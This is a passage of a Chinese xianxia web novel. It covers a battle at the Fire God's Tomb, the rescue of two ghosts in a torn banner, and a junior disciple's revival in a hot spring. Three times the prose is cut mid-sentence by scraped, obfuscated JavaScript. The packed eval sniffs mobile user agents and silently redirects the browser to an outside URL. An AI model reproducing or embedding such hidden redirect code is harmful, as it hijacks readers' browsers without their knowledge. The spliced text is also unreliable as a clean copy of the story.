宁雪反拧上身,一耳光扇了过去。李德也是背对她的,被打中后脑勺,气得伸手去揪她头发。 因为背后两人厮打,孔安的下半身不堪重负,本就驼背的腰快要压断了。他的元婴躬身趔趄几步,奋力嘶吼:“别打了——别打了——要打就打我吧!求你们了——” 天际一声惊雷,大地被闪电照彻,瞬息间映亮作白山黑水。 久旱千年的火神冢,在这一刻,下起了有史以来第一场暴雨。白翎不安的感觉愈发强烈,他抹了把脸,向前数步,望着那尊三头六臂的元婴。 很快,他不安的预感得到了落实。一只巨手突然撕裂云幕,伸向问鼎一脉三人! 碧落幡和玄天炉受到感召,离地而起,飞到巨手之侧。 伴随着雷鸣电闪,一道轰隆隆的嗓音自云上传来,呵斥道:“无能孽障!” 问鼎一脉三人的元婴被抓向高空,与巨手相比,居然显得微小。另一只巨手也拨开层云,露出占据半边天宇的广阔人像! 相隔十里,白翎喃喃念道:“定坛道君!” 二代道君大多已至化神期,甚少出现在人前。此时此刻,仿佛岁月的遗物苏醒了,古老的气息迅速弥散,天地共朽。 出乎白翎意料的是,定坛道君收走徒孙三人的合体元婴,却不是救他们。恰恰相反,他化出的形神张开巨口,把徒孙尽数吞下! 碧落幡在他手中,终于现出了全貌。铺天盖地的旗帜,绵延万里,在云间如游龙卷动。 幡上亡魂济济,远近不一,千姿百态。孔安、宁雪、李德以为得救,不料死得不能更死,三人呆愣片刻,疯了似的冲到最前面,大力挞伐幡布。 白翎心下暗惊,想起被孔安收进袖中的唐棠,又向前走。 可是,连她师尊都被一口吃掉了,她哪还有生还可能?大鱼吃小鱼、小鱼吃虾米,原来修行数百年,在白翎眼中似不可逾越之高山的元婴期修士,面对化神期修士和发挥全部功效的神级法宝,亦毫无还手之力。 而刚育成上上品灵根、前途不可限量的天才唐棠,在如此层面的争端中,沦为了两方倾轧的炮灰。 豆大的雨珠打在脸上。寒意刺骨,让白翎眨了下眼。 定坛道君现世,天威伏众,他几乎要站不住了。屹立在远处的诸葛悟,亦面色凝重,缓缓将双剑架起。 不过他身为意剑流修士,只消用意念驱策仙剑。白翎分明看到,师兄负于身后的双手,在广袖间暗自结印。 白翎认出了那道手势——“九幽黄泉印”,水属性修士的自爆之术!将自身体温降到最低,用爆体之血冰封对手,是同归于尽之道。 “千恨”“万怜”同时悲鸣,龙吟嘶吼穿云而上。 定坛道君如日轮的脸上,浮现森然恶意。他催动玄天炉,密密麻麻的符箓似蝗虫飞出,尽数贴上碧落幡的旗杆:强化,强化,再强化! 他要生吃诸葛悟! 34.三十四、炸膛 显然,诸葛悟在拨云见日、定坛道君露面的刹那,已经预判到了人为刀俎,我为鱼肉,定坛道君要拿他果腹。 所以,不待定坛道君动手,诸葛悟便在背后结成“九幽黄泉印”。一旦他被吃入口,必能炸得道君字面意义上肝脑涂地。 白翎不再犹豫,御剑而出。他紧紧抱着瑶池鼎,用袖摆将其捂住,免得雨水飘打。 随着距离迅速收缩,白翎浑身的血仿佛沸腾,头脑却出奇清醒。他心思飞转,一幕幕情景浮现眼前——碧落幡初次发动,是宁雪吞噬了李德。他分明看得清楚,宁雪有一瞬间变成了李德的面孔。 碧落幡第二次使用,则是孔安吞噬宁雪。 宁雪当时的修为远高于他,孔安不堪重负,被宁雪挣出了半截身子。而且李德借此机会,重新冒头,还和宁雪厮打了起来。 可见被碧落幡吞噬之人,并非彻底死亡,而是被拘禁着元神,以夺取他们生前的修为。 而驭使碧落幡之人,亦不是高枕无忧,若吞噬的人太过强大,便会殃及自身。 不,碧落幡只能吞噬人吗? 万丈黑天之上,定坛道君双手砸下,意图先拍碎诸葛悟的元婴。然而一道仙印浮现,笔走龙蛇,是梦微道君的笔迹。 他赐予诸葛悟的护身符在此刻生效,接住化神期修士一击后,碎作漫天星光。定坛道君怒喝一声,懒得再费力气,从云上俯身。 庞然巨像张开大口,似黑洞吸纳万物,竟然要直接将诸葛悟连人带元婴、兜头吃下! 幸好诸葛悟的护身符刚才挡下一招,为白翎争取了时间。他终于飞到定坛道君面前,如一只蚊虫在狂风中扑朔,根本没引起道君的注意。 但诸葛悟发现了他,双眼一睁,进行到最后手势的动作倏然停住。若是用“九幽黄泉印”自爆,定会波及白翎和裴响,诸葛悟道:“阿翎——” 白翎奋力挥臂,往定坛道君的喉间掷入一物! 千钧一发之际,天地间响彻“咕嘟”一声。 定坛道君停住了动作,喉咙下意识吞咽,仿佛吸气时吸进了一粒沙子,皱眉斥道:“哪来的蝼蚁?” 巨手拂动,如山倾颓,要把白翎扇飞。诸葛悟举剑来接,不过尚未与巨手相击,定坛道君便忽的一晃。 他瞪眼道:“哕……哕!” 大地震颤,从地心深处传来呐喊。细听之下,那绝非人声,而是万千魔物躁动。 早在诸葛悟与问鼎一脉二人交战时,便引起了整片火神冢的魔物注意。它们在暗中窥伺,已经沿着地下的岩浆河,汇聚来此。 被定坛道君震慑后,魔物们亦未退却,只是潜伏。 然而此时此刻,有什么东西疯狂地吸引着他们。此物被定坛道君吞入腹中,立即被他消解同化,受到玄天炉符箓的增强后,更是让群魔丧失神智,纷纷破地而出! 定坛道君察觉不妙,面容扭曲地喝问:“你扔的什么东西?!” 白翎大笑道:“等你死了就知道了!” 他才不会留下来跟化神期修士废话,边说边调转剑柄,即刻开溜。 被他丢进定坛道君嘴里的,不是别的,正是群魔饵——自从上次领教过此物的威力,白翎总觉得有机会再用一次。 果不其然,他现在将此物发挥出了最大作用。区区仙级法宝,竟然成了扭转战局的关键! 定坛道君怒吼,神身在云海间迁越,追袭白翎。然而大地龟裂,密密麻麻的魔物如潮水般涌出,奋不顾身地冲向他。 诸葛悟收起元婴,御剑飞掠至白翎身侧。“九幽黄泉印”只差一步便要冻结他全身血液了,虽然及时停止,但仍逼出了诸葛悟内伤,令他唇角溢出一缕血迹。 诸葛悟将手置于白翎肩上,传去大量灵力。白翎浑身一轻,骤然加速,在空中连续闪现,每次都堪堪避开砸下的巨手。 定坛道君的咆哮震彻寰宇,终于被他们远远抛在身后。 白翎怀抱瑶池鼎,回身眺望。云上的神身远在天边,依然如山岳。一层黑色的污泥飞快攀上山顶,是无尽的魔物,似蜂群,似蚁潮,一切嚎叫声皆像沉入水底,迅速地平息了。 火神冢出奇的安静,天地在此刻缄默。 白翎恍然明白过来,定坛道君不语,是因为张嘴就会被魔物钻进咽喉、蚕食唇舌;魔物们不叫,是因为尽情撕咬着神身,正在以最原始的方式豪夺道行。 雷声轰隆,倒挂枯枝一般的闪电布满夜空。 定坛道君的神身坍缩大半,修为急退,两件隐约具备灵识的神级法宝脱离了他的掌控。 玄天炉忠心耿耿,但不大聪明,依旧全力喷吐着符箓,强化主人和他的旗子。 焉知它越强化定坛道君,他便越吸引魔物,此时浑身上下被魔物包裹,已经变成了一道不住摇晃的、乌黑的飓风。 碧落幡则如展月老祖所批,是一件邪物,唯恐天下不乱。幡中的亡魂发现禁制在弱化,普天同庆,齐心协力地往外冲。 碧落幡见主人自顾不暇,当即幡布大张,让全部亡魂倾巢而出! 暴雨之中,万鬼过境。 他们早该往生,却被拘束千百年,怨念深重。一些神智尚存的魂魄随风飘散,若奔流河水,前往轮回;但还有些恨意难消,即刻化作怨灵,全力倾泻着怨气。 白翎直面鬼潮,只觉彻骨的阴寒将他吞没,呼啸而过者不知几何。时不时有怨灵袭来,皆被诸葛悟的双剑打散,风雨飘摇不定。 忽然,他看见了一道熟悉的身影。 小姑娘的花苞头散了,孤零零站在远处。她很茫然,不知该前往何方,被无数同类裹挟至此,却不懂他们的狂喜,也不懂他们的暴怒。 “唐……阿花!” 白翎下意识喊道。 诸葛悟向他投来一瞥,又诛灭了一道怨灵。白翎看看恍然未闻的阿花,走出一步,回头看向师兄,道:“我……” 诸葛悟叹息一声,道:“去吧。” 白翎却没有立刻奔到唐棠面前,而是御剑飞往高空。“万怜”跟了上来,护着他逆流而上,直至够到碧落幡的一角。 白翎揪住不断翻飞的幡布,全力一扯,然而修为太低,根本扯不坏。他道:“万怜,快帮我切一块下来,阿花没东西装着就要散掉了!” 仙剑依言而动,“嘶啦”一声戳破了一个口子。碧落幡吃痛想跑,被白翎生拉硬拽,撕下了长长一条。 终于,碧落幡抖罗掉了所有亡魂,也顾不上和白翎较劲儿了,“嗤”地飞向远处,奔赴其失而复得的自由。 白翎飞回地面,被若有若无、时隐时现的魂魄冲刷着,一手搂着瑶池鼎,一手抱着灵性尚存的破幡,艰难地靠近唐棠。 小姑娘认出了他,牵动麻木的五官,道:“白……白……” 她想不起来了,痛苦地抱住脑袋。 白翎伸手让幡布飘过去,说:“阿花,快进来!别被他们带走了!” 经过的鬼魂们好奇回头,冲滞留的唐棠发出狺狺尖笑。小姑娘的肩膀被撞了一下又一下,同类在催促她。 白翎喊道:“别理他们,你想就这么死掉吗?” 唐棠钻进残幡,白翎松了口气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104992|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>虽然他对转生之事没有经验,但是找一个好地方寄托元神,是可以算出修士转世到何处的,日后也能加以照拂。如果唐棠转生后仍然根骨不错,把她带回道场重登仙途,亦是常见。 不论如何,总比孤魂野鬼去挤奈何桥喝汤、进阎罗殿受审好得多。 不料,正当白翎放松下来时,一只手凭空伸出,死死攥住了残幡另一头! 形同怨灵的女修因生前法力高超,仍保留着一分神智,冲白翎喝道:“你要带我师侄去哪?!” 白翎面色微变,认出了她:“宁真人?” 宁雪的身形影影绰绰,不过胸腔破损,豁口鲜血淋漓,几乎能看见她裂成两半的心脏。她漆黑的双手如魔物般狰狞,抓着幡布不放。 白翎警告道:“阿花已经进去了,你要是不松手,扯坏幡布的话她也会魂飞魄散。” “那你松手!”宁雪依旧冷厉,不过暗自收起利爪,免得划破残幡。她冷笑道,“展月一脉的弟子,必定包藏祸心。我提醒过师兄无数次,阿花心性单纯,不可放她出去。可恨他溺爱小辈,还是睁一只眼闭一只眼,让阿花每日去讲坛听学。说,你是不是早有预谋,蓄意接近阿花?” 白翎气笑了,听见幡布发出吱吱扭扭的声音,怕它撕裂,索性冲里边道:“阿花,你来劝劝你师姨。她非说我是骗你的。” “师姨……” 一道细弱的声音飘出来,比先前真切许多。唐棠有幡布容身后,虽然只是神级法宝碎裂的一角,但也足以温养她的神智了。 小姑娘从幡布上冒出头,扒着边沿,诚心实意地道:“师姨,你也进来吧,不然咱们再也见不到面了。我……我还有好多话想与你说。白仙长是好人,我相信他。” “他是好人个鬼!你、你这孩子——”宁雪气得大骂,转念意识到,如今她与唐棠皆是鬼魂了,又面色一僵。 鬼潮跑得差不多了,剩下大群怨灵,即将袭来。 诸葛悟飞身至白翎背后,面对怨灵,持剑戒备。宁雪见势不妙,确实拖不得了,不得不抓住唐棠的手,也钻进碧落残幡。 白翎没空细究,立即把幡布卷吧卷吧,塞进芥子袋。他犹豫了一下,是否把瑶池鼎也装进去,但师弟到底是师弟,还是抱在怀里安心。 白翎侧头问诸葛悟:“师兄,怨灵很多吗?要不要我帮忙?” 诸葛悟驱剑飞出,道:“你自己看。” 白翎闻言探出脑袋,顿时倒吸一口凉气。只见成群结队的怨灵黑压压冲来,所过之处寸草不生,马上要到近前。 这堪比修真版生化危机的场面,本该让白翎忙不迭逃命。可是经历了漫长的大战后,他竟然只生出一句腹诽:苍天啊!又来了!放过我! 诸葛悟内伤未愈,强行再起元婴,双剑铮鸣。 显然,他亦知此关难过。然而关关难过、关关过,身为剑修,绝不会一退再退。 白翎轻叹一声,索性蹲下身,拍拍瑶池鼎的炉盖,当做拍了拍师弟的头。 他喃喃道:“阿响。等你再醒来的时候,大概是见不到我了。不过没关系啊,真的没关系。你……” 白翎张了张口,哑然失笑。 人之将死、其言也善,可不知为什么,白翎心头一片敞亮,还有余裕和裴响絮絮叨叨,似乎认定了自己命不该绝。 突然间,仿佛他心想事成似的,又一阵地动山摇。 剧烈的灵气波动从另一个方向传来,白翎双眼一亮,立刻支起脑袋。只见来时路上,有连片光芒闪烁。 下一刻,漫天遁光冲破沙尘,前来助阵! 35.三十五、救兵 水红身影一剑当先,掠到白翎近前时,已化作通身碧衣。 “白师弟,我没来晚吧。”漱玉真人林暗将眼一扫,道,“裴师弟呢?” 紧随她而来的,竟然还有尹真。刀修稳了稳头上的斗笠,也问:“你师弟死了?” “尹兄,你这嘴真是……”白翎嘴角抽动,见到他时常说的“你好啊”也说不出口了,抱着瑶池鼎起身道,“他在炉子里面养伤。不太好,但肯定不会死。” “哦。我看你一脸寡妇样,随便问问。”尹真漠然落地,将长刀一甩,拄在身前。 不待白翎反驳,林暗道:“我送师弟师妹们走后,折返路上偶遇尹真人。他散尽宝珠,招兵买马,集结了大批散修仙友。白师弟,我们上了,你多加小心。” 话音落下,女修提剑而出,杀向了铺天盖地的怨灵。诸葛悟亦召动双剑,煌煌刃影千道,碾向四面八方。 白翎意外地说:“尹兄,多谢你了。要是你们不来……” 尹真却将手一抬,示意他不必多言,随后扬刀加入战局,临行前只说了一句: “记得加钱。” 浩浩荡荡的散修大军终于赶到,经过白翎身边时,纷纷振臂高呼:“加钱!!!” 白翎被他们甩在身后,面露懵懂。 散修们自有圈子和联络手段,想必是尹真捡垃圾的人脉,和他一样,大多是风餐露宿之辈。有三名真人领头,散修们不怕干这一票没人兜底,因而全力拼杀。 况且,定坛道君的神身已经被分食大半。他的修为折损至金丹期左右,化作了一颗黯淡流星,仓皇逃逸。 玄天炉力竭,从云间跌落,不知坠入了何处尘泥。除此以外,还有数不清的法宝,在定坛道君神身受损时掉下,魔物不感兴趣,却是散修们趋之若鹜的“垃圾”。 刀光剑影交错,怨灵节节败退。 白翎始终将装着裴响的瑶池鼎抱在怀里,定定地望着战场。他已经筋疲力尽,衣衫在风中翻飞不停。 青年灰扑扑的脸上,沾着不知哪来的血迹和泥点子,可是在漫天华光的映照下,遽尔笑意灿然。 — 火神冢一战,足足过了三天三夜才停息。 修士们不止清剿了怨灵,还屠戮大片魔物,将火神冢一带再度肃清。 经此一役,道场的势力范围大增。 火神冢不再是拼尽全脉上下的人力物力冒险、才能进入的锻剑圣地,修士们排着队去神目洞,每日皆有仙剑出世的奇景,或者剑胆熔毁的哀嚎。 现下风声渐小,荒芜的魔域上空,深青色的残照转为殷红,将奇诡的地貌勾勒出一分凄艳光景。如此,便是魔域的“日出”,新的一天开始了。 白翎掀开帐篷的门帘,照例伸了个爽遍全身的懒腰。 他端起瑶池鼎,道:“阿响早。” 不知裴响在里面能不能听见,反正白翎每天都说,入睡前也会知会一声。离大战结束,已过去小半个月,战场还没清理干净,裴响也毫无动静。 白翎本想去诸葛悟的帐篷,看看师兄疗伤的进度如何,请他查探一下裴响的状况。 不过没走两步,一抹枫红色的身影闯入视野。白翎招呼道:“你好啊尹兄。昨晚行情怎样?” “不怎样。玄天炉被人捷足先登了,那小子撞大运。”尹真的黑眼圈比之前更加浓重,显然起早贪黑了好些天,一副走着走着就会猝倒在地的样子。 不过他全无休息的意思,清点完新捡的“垃圾”后,掏出疑似风油精之物猛闻。 白翎连忙让开,捏住鼻子。不料尹真犹未满意,竟然把绿色药油直接往嘴里倒,这下提神又醒脑,天灵盖都要发亮了。 尹真哑声说:“走了。” 白翎小鸡啄米似的点头,不敢松开鼻子一点,嘴巴也紧紧抿住。 他敬佩地望着尹真远去。营地里的散修络绎不绝,一些捡到宝了满面红光,举手投足充斥着暴发户的喜气;一些血本无归,甚至抢东西时挨了打,低落如丧家之犬。 营地不大,是林暗组织小辈们建起来的,容纳着上百名修士。 诸葛悟需要静养,徐师弟给他安排了一座单独的帐篷,在营地边缘。白翎走过去的途中,偶遇打水归来的田师妹。少女御剑顶着一大缸清水,估计跑了几十里地,才寻到干净的水源。 她习惯性地向白翎问好,不过刚一挥手,又讪讪地收了回去。 白翎倒是说:“早啊。怎么了?” 田师妹顶着缸落地,不好意思地说:“白仙长……前些天的事情,是我没憋住,对、对不起啊。” “什么事?”白翎一愣,“哦,我想起来了。没关系的,我和你大师姐早说开啦。” 他们所提之事,关乎白翎那条碧落残幡。 他本想偷偷处理,不料在修补幡布时针扎了手,大叫一嗓子,被送饭的田师妹听见了。 田师妹以为出事,急吼吼冲进帐篷,结果和半截身子爬出来、趴在桌上的唐棠大眼瞪了小眼。 宁雪也冒出头,骂白翎笨蛋,缝到她的脚了。田师妹大惊失色,转身就跑,忍不住告诉了徐师弟;徐师弟知道后,自然所有驾鹤一脉的小辈全知道了。 再想瞒过林暗,便是痴人说梦。 白翎有些忐忑,不知如何向林暗解释。 没想到林暗听完他磕磕绊绊的道歉,只是感慨:“所以老祖当年没灭问鼎满门,想来也有旧事旧情。” 之后,女修向他要去了残幡。 时隔一天,完璧归赵,林暗不仅拆掉了白翎笨拙的针脚,还将裂帛处缝补严实。 她挑灯夜织,唐棠与宁雪在幡中,是知晓外景的。她们似乎对谈良多,白翎没有问起,只是再度向林暗道歉,以及道谢。 至此,新仇旧恨勾销。 世界清静,白翎终于有空探查内府,发觉突破关窍的契机正在近日。他向来心大,反正已经等了两百多年,不差这一时半刻,索性放任自流。 思绪回归此刻,田师妹双手合十嘿嘿发笑,说:“那就好!我先送水去啦,白仙长是去找诸葛真人请安的吧?希望他也快些好起来,咱们继续探险!” 少女顶着水缸健步如飞,跑向储水的棚下。 散修们正在敲碗等候,其中甚至有几个道场修士,数天前闻讯而来,放下身段一同淘金。 白翎笑了笑。其实,诸葛悟的帐篷离他才十几步路。 不过大伙儿同住屋檐下,低头不见抬头见,也是别样滋味。白翎终于抱着香炉来到诸葛悟帐外,扬声道:“师兄?” “万怜”挑起门帘,雀跃地请他进去。 墨蓝织金的身影端坐于帐内,身前搁了书案,身侧放着玉枕玉簟。一只长颈净瓶置于案上,斜插白梅。 细看之下不是梅花,而是魔域特产的植株。白翎闻了闻,嗅到一股幽冷异香,笑着说:“师兄恢复得不错嘛,都有心思去折花了。” 诸葛悟睁开双目,温声道:“再等等。” 白翎:“……” 白翎干巴巴地“哦”了一声,搂着瑶池鼎原地立正。因为瑶池鼎认诸葛悟为主,所以只有诸葛悟与之心意相通,随时知晓裴响的情况。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115277|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白翎还记得上次唤醒裴响的符文,可是必须向师兄请示。师兄说裴响恢复好了,他才能画符。所以,白翎每日醒了就来问安,扯一通兄友弟恭的场面话,装模作样地表达关怀,再旁敲侧击,打听裴响的现状。 前几日,诸葛悟尚有闲心跟他兜圈子,这两天懒得绕弯了,总是一句话打发他。 不过,“再等等”比起重复了好些天的“尚需时日”,算是飞跃。白翎心情顿好,向诸葛悟告别。 诸葛悟问:“今日也去温泉么?” “当然啦。冷天就该泡温泉!走了啊师兄。”白翎笑眯眯地退出帐篷,离开营地。 他搂着瑶池鼎,一路哼歌,来到一片丘岩环抱、远离尘嚣的地方。 此处甚少有熔浆流过,风沙也小。因前些天的暴雨,形成大片的天然温泉,像一面面圆镜,嵌在漆黑的大地间。 白翎发现,泉水被火神冢的灵气滋养,非常适合修炼。他像往常一般,褪去袜履,解下外衣,迈入满池温热。 道道波纹从他身后漫出,若是俯瞰,如同曳尾。 浓郁的灵气熏蒸着肢体,温养经脉。白翎浑身舒畅,轻声喟叹,慢慢走到水中央。 他找到了一块平滑的巨石,趺坐静修。瑶池鼎被他放在水面,不会沉底,只是静静地漂着。 介于上次唤醒裴响的经验,白翎提前备好了衣物,搭在瑶池鼎上。被水浸湿了也无妨,上岸再捏个诀风干便是。 不过,此时四下无人,尤其是没有诸葛悟看管,白翎便大起胆子来。十天前,他把手伸进炉子里,冻得五指结霜;七天前又伸进去,冷得指甲盖发紫。 直到三天前,他还不死心,再度伸手进瑶池鼎。功夫不负有心人,真让他戳到裴响了。 从手感判断,白翎碰着了小师弟的胸腹一带。他虽然略感抱歉,但认为师弟复苏有望,所以今天起床后又摸了一次。 这回手感温度接近正常,和现实中摸着差不多。但是,裴响在炉内未被固定,白翎摸到了师弟的脑门。 白翎硕果仅存的良知告诉他,不能再摸了。 万一摸到什么不可言说的部位,饶是没节操如他,也是会滋儿哇乱叫、此生无法与自己和解的。 不知是不是记挂着此事,白翎趺坐了好一会儿,依然无法入静。他便任自己漂在水面上,像海豹似的双手拍打肚皮,反正丹田没动静,偷会儿懒也无妨。 热水掬着他,暖意渗透四肢百骸。 白翎打了个哈欠。温泉的灵气太浓,催他入静,入不了静就会让他犯困,也算修士的自发性修炼了。 然而恰在此时,瑶池鼎的炉盖撑开一条缝儿,溢出朦胧淡香。 白翎好像习惯了和裴响住一间屋子,独自睡了十来天,总是失眠,不知少了什么。现下忽然闻到令他安睡的香味,白翎发出心满意足的呓语,不觉间阖上眼帘。 流云氤氲,在水汽间满溢,从炉口无声地涌出。 一只手伸出浓雾,趁白翎打盹儿,迅速抓走衣物穿上。 窸窸窣窣的声音惊扰了白翎。他意识尚不清醒,眯着眼漂荡,直到脑袋快磕到岩石,被人用手掌垫住。 白翎总算睁眼,待看清眼前景象,眼睛越睁越大。 裴响一只手垫在他头上,另一只手紧紧地捂着衣领,还没系好衣带。见师兄目不转睛地仰视自己,裴响低头与之视线相对,雪似的面颊上又染上薄红,略显慌乱。 他低声道:“转、转过去,等我穿戴整齐!” 白翎却眉开眼笑,双目似绽放星彩,道:“你醒啦?” 36.三十六、复生 小师弟终于活过来了,白翎大为高兴,立时失去平衡,哗啦啦扑腾起来。 裴响不得已扶住他,或许想起了上次一同落水的经历,眼底闪过羞耻,说:“你……你……” 他对白翎总是“你”不出个所以然的。 幸好温泉水浅,才到腰际,白翎很快稳住了身形,主动转过去背对裴响,大方挥手道:“你好好换衣服吧!我保证不看。” 裴响小声说:“我不信你的保证。” 白翎:“嗯???” 水声传来,裴响加快了穿衣服的动作。白翎面露迷惑,心说两人好歹是同生共死了一遭,怎么自己的可信度还下降了? 哦——裴响“死”前他们分头跑,白翎是摸了他脸才趁机脱身的来着。 此时不秋后算账,更待何时。 白翎立即恶人先告状,问:“阿响啊,我不是让你往南跑吗?还给你塞了几个加速法宝,你追上来干嘛。” 裴响撩动的水花骤然停住,片刻后,才响起他一板一眼的声音:“无可奉告。” 白翎:“那我转身了哦。” “你、你果然不可信!”水声又剧烈起来,不用想也知道裴响的面色肯定更红了。 白翎乐出了声,伏在礁石上,专挑师弟听不得的话讲:“你不说没关系的,我可以猜呀。莫非阿响舍不得我,死也要与我死在一起?所以才穷追猛赶,生怕——” “我绝无那般想法!”裴响气得提高了声调,说。 白翎竖起耳朵,以为自己的激将法好使,能骗师弟吐露实情了。不料裴响气是气,吐息都变得急促,却没再迸出半个字,片刻后将头一撇,寒声道:“诸葛师兄何在?” “哎呀,我瞎猜的,你找师兄干什么?这就要跟他告状啦?”白翎笑嘻嘻地道,“搞得好像被我说中了似的……你真奇怪。其实我更想不通的是,‘留得青山在,不怕没柴烧’,阿响听没听过这句话?” 裴响沉默良久,道:“听过。” “那你还用功法——你还割手!你还扎喉咙!伤敌一千自损八百,你的聪明相是装出来的吗,啊?” 白翎噼里啪啦倒豆子似的说着,谅裴响已经穿好了衣服,回身快走数步,把他逼得后退。 结果裴响绊到了水底的巨石,“哗啦”一声坐进水里。 白翎欺身上前,一手叉腰,一手屈指,边说边捅咕裴响的脑门。他憋了十多天,从目睹裴响倒下到现在,终于一股脑问了出来,一时没收住力,把师弟白净的额头戳得泛红。 白翎的目光游移了一下,顺手把泛红处揉了一把,继续眯眼盯着裴响,等他交代。 裴响张了张唇,不得已与他对视。水珠沿着少年人的鬓角滑落,滴进领口,好半天后,他终于挤出一句:“功法修了不用,岂不更为愚蠢?” 白翎被顶嘴顶得倒仰,双手抓头,恨不能掰开师弟的脑瓜子看看他在想什么。 可是师弟好不容易活过来,白翎看见他,眼前便浮现他满身是血的样子,掌心似乎仍有热流汩汩,是按着的伤口血往外涌。 白翎泄气了。 他像一个失败的家长,刚把离家出走的小孩逮回来,又生气又拿他没办法,还很没骨气地心疼他。明明该好生教育的,话到嘴边,却差点变成嘘寒问暖。 裴响眼睫颤了颤,显然知道自己刚才是嘴硬。 他将视线撇去别处,语气放软几分,不自然地道:“那名金丹期弟子要杀我。与其坐以待毙,不如放手一搏。” “胡说,他要抓我们去当人质的。”白翎脱口而出,可是看裴响已经低头,又自欺欺人道,“好吧,那家伙刚死了师兄,发癫也不奇怪。” 裴响移回视线,却见白翎面色正常,只是在说问鼎一脉的弟子。 白衣青年继续道:“算了!以后我会看着你的。不过,你下手要有个轻重呀阿响,再大招起手的话,是想让我跟你的元神问好吗?” 裴响:“……” 裴响面无表情地说:“你先管好自己,别轻易丧命便是。” 白翎自信道:“吉人自有天相,你放心好了。” 裴响冷笑,说:“你是祸害遗千年吧。” “喂!” 白翎张牙舞爪扑过去,想把裴响按进水里。虽不至于让他呛水,但是把八风不动、坐着还高高在上的小师弟弄得一团乱,才能维护住他身为师兄的尊严。 裴响果然破功了,挣扎着往后仰,咬牙道:“你总是如此,说不过便使坏,世间怎会有你这般无理取闹之人?” 白翎发出“桀桀桀”的怪笑,乱喊着“你叫破喉咙也不会有人来救你的”、“我今日就要把生米煮成熟饭”等采花大盗的台词。他每说一句,都会让裴响的脸色震惊一分,最终白翎费全身之力,手脚并用地按倒了师弟。 裴响背靠青石,放弃了挣扎。 他仅剩一张玉雕似的脸浮在水面上,染透雾气,笔墨难描。乌黑的长发在水下散开,如滴入的墨汁往四周洇散。 事情进行到“就地正法”的环节,白翎却停住了。 他脸上笑意未散,晃了晃身下的裴响,问:“怎么不反抗啦?快反抗呀,阿响,我还有更劲爆的没讲呢。” 裴响阴恻恻地说:“我不会陪你玩这种幼稚又无礼的把戏了。要杀要剐,随你便吧!” 少年闷着一口气,将脸一转,结果呛了水,弓起身咳嗽。白翎忙把他拉起来,给他拍背顺气扯耳垂,吭哧吭哧地忍笑道:“好咯,下次再玩……不不不,没有下次!我发誓绝对没有了,你别又呛着了哈哈哈……我还有礼物要送给你呢,阿响先原谅师兄行不行?” 裴响咳得眼尾绯红,满脸不信任,不肯理他。 白翎便一声口哨,唤来两道流光。出现的正是他二人的神级剑胆,现已脱胎换骨,化作两柄光泽灿明的仙剑了。 两柄剑皆未命名,不过意态亲近,悬停在他们面前。 左侧的跳脱,露面时先飞快地蹭了白翎一下,右侧的沉静,倒是与裴响性情相符。 白翎伸手展示道:“噔噔噔——我已经给我的宝贝取好名字啦,你想好没?” 裴响怔住,缓缓向右侧仙剑伸手,抚其剑身。若是细观,二剑不仅心性不同,外貌差异也极大。 裴响的剑色泽雪亮,通体如冰如镜,明晃晃倒映云影天光。白翎的剑则锋芒柔和,剑身两面一明一暗,竟然是阴阳双色之象。 白翎叹气道:“我的剑胆憋闷了两百年,好像精神分裂了。现在生出两股灵识,互不相让,好在都听我的。所以,我取了两个名字。” 裴响问:“哪两个名字?” “一个叫拂钧,一个叫凉紫。” 裴响:“……” 裴响以为自己听错了,道:“什么?” “就是夫君和娘子呀!真笨。”白翎抱膝坐在岸边,脸搁在膝盖上,笑得眉眼弯弯,“我的本命剑是我的宝贝,既然它精分了,我就得取两个好听又宝贝的名字。昨夜我灵光一闪,福至心灵—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128862|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喂!等等我!怎么不听我讲完!” 他还在摇头晃脑地吹嘘取名史,却听泉水哗啦,裴响已不忍卒听地起身走了。白翎预料到他理解不了自己的幽默,但见他如此反应,更觉得自己取名精妙绝伦,追着裴响说: “它们都很喜欢我取的名字的!不过喜欢不同的叫法。叫‘拂钧’夫君的话,它不好意思,叫‘凉紫’却得喊娘子才行,它觉得‘凉紫’听起来像有口音。” 裴响道:“你是仗着它们不懂名字的意思,待它们识文断字了,定觉得你取名荒谬,不负责任。” “啊?识文断字?你对剑灵的素质要求也这么高?”白翎冲裴响的仙剑一扬眉,问,“你愿意念书呀?” 裴响的仙剑煞有介事地一压剑柄,如同点头。 白翎啧啧称奇,心说剑肖其主,果非虚言。他缀在裴响身后,两人渐渐走到了浅水处,不过前方仍是广阔的水湾。白翎的白色长靴放在湾畔,倒是显眼。 裴响向彼方走去,捏了个诀风干上半身。 